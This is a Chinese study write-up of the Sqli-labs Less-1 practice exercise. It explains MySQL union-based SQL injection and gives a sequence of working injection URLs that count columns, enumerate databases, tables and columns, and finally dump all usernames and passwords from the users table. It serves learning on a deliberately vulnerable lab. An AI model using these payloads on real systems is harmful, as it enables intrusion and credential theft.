Sqli-labs-Less-1(笔记)

SQL注入学习记录Sqli-labs-Less-1

SQL注入的原理及知识点

sql注入漏洞的产生需要满足以下两个条件:
1.参数用户可控:前端传给后端的参数内容是用户可以控制的。
2.参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

与MySQL注入相关的知识点
MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中需要记住三个表名,分别是“schemata”、“tables”、“columns”。

schemata表储存该用户创建的所有数据库库名,记录数据库库名字段名为schema_name。

tables表存储该用户出创建的所有数据库的库名和表名,需要记住的数据库库名和表名的字段分别为table_schema和table_name。

columns表存储该用户出创建的所有数据库的库名、表名和字段名,需要记住的数据库库名、表名和字段名为table_schema、table_name和column_name。

mysql查询语句
select 要查询的字段名 from 库名.表名
select 要查询的字段名 from 库名.表名 where 已知条件的字段名=‘已知条件的值’
select 要查询的字段名 from 库名.表名 where 已知条件1的字段名=‘已知条件1的值’ and 已知条件2的字段名=‘已知条件2的值’

limit的用法
limit 的使用格式为limit m,n 其中m是指记录开始的位置,从0开始表示第一条记录;n是指取n条记录。

需要记住的几个函数
database(): 当前网站使用的数据库
version(): 当前MySQL的版本
user(): 当前MySQL的用户

注释符
在mysql中常见注释符的表达方式:#或–空格或/**/。

——————————————分割线————————————————

下面开始正文Sqli-labs-Less-1

查看是否存在注入
http://www.web.com/sql/Less-1/?id=1
http://www.web.com/sql/Less-1/?id=1’
http://www.web.com/sql/Less-1/?id=1’–+

当我们使用?id=1’时报错,说明存在注入点
Sqli-labs-Less-1(笔记)

使用order by 查看字段数量
使用order by 3 没有报错 使用order by 4 发生报错,说明字段数为3
http://www.web.com/sql/Less-1/?id=1’ order by 3–+
Sqli-labs-Less-1(笔记)
查看哪些数据可以回显
将?id=1改为?id=-1 或者其它不存在的值,使用union注入 且通过order by结果为3 可以得到
union select 1,2.3
http://www.web.com/sql/Less-1/?id=-1’ union select 1,2,3–+
我们看到数据2,3发生回显
Sqli-labs-Less-1(笔记)
查看当前版本和数据库
http://www.web.com/sql/Less-1/?id=-1’ union select 1,version(),database()–+
Sqli-labs-Less-1(笔记)
查看数据库
http://www.web.com/sql/Less-1/?id=-1’ union select 1,2,schema_name from information_schema.schemata–+
可使用 limit 来改变查询结果
http://www.web.com/sql/Less-1/?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 1,1–+
Sqli-labs-Less-1(笔记)
使用limit也不太方便,这里补充一个函数group_concat()将查询的字段数合并一起输出
http://www.web.com/sql/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
Sqli-labs-Less-1(笔记)
这里我们已经查询到security数据库

继续查询security库里面的表
http://www.web.com/sql/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
Sqli-labs-Less-1(笔记)
这里我们已经查询到users表

继续查询users表里面的字段
http://www.web.com/sql/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
Sqli-labs-Less-1(笔记)
这里我们已经查询到username 和password字段

继续查询username 和password
http://www.web.com/sql/Less-1/?id=-1’ union select 1,2,group_concat(username,password) from security.users–+
Sqli-labs-Less-1(笔记)
在这里username和password是连接在一起的,我们引入一个函数concat_ws(‘a’,b,c),他会将b和c之间用a分割
http://www.web.com/sql/Less-1/?id=-1’ union select 1,2,group_concat(concat_ws(’-’,username,password)) from security.users–+
Sqli-labs-Less-1(笔记)
到此我们就已经拿到所有的用户账号和密码。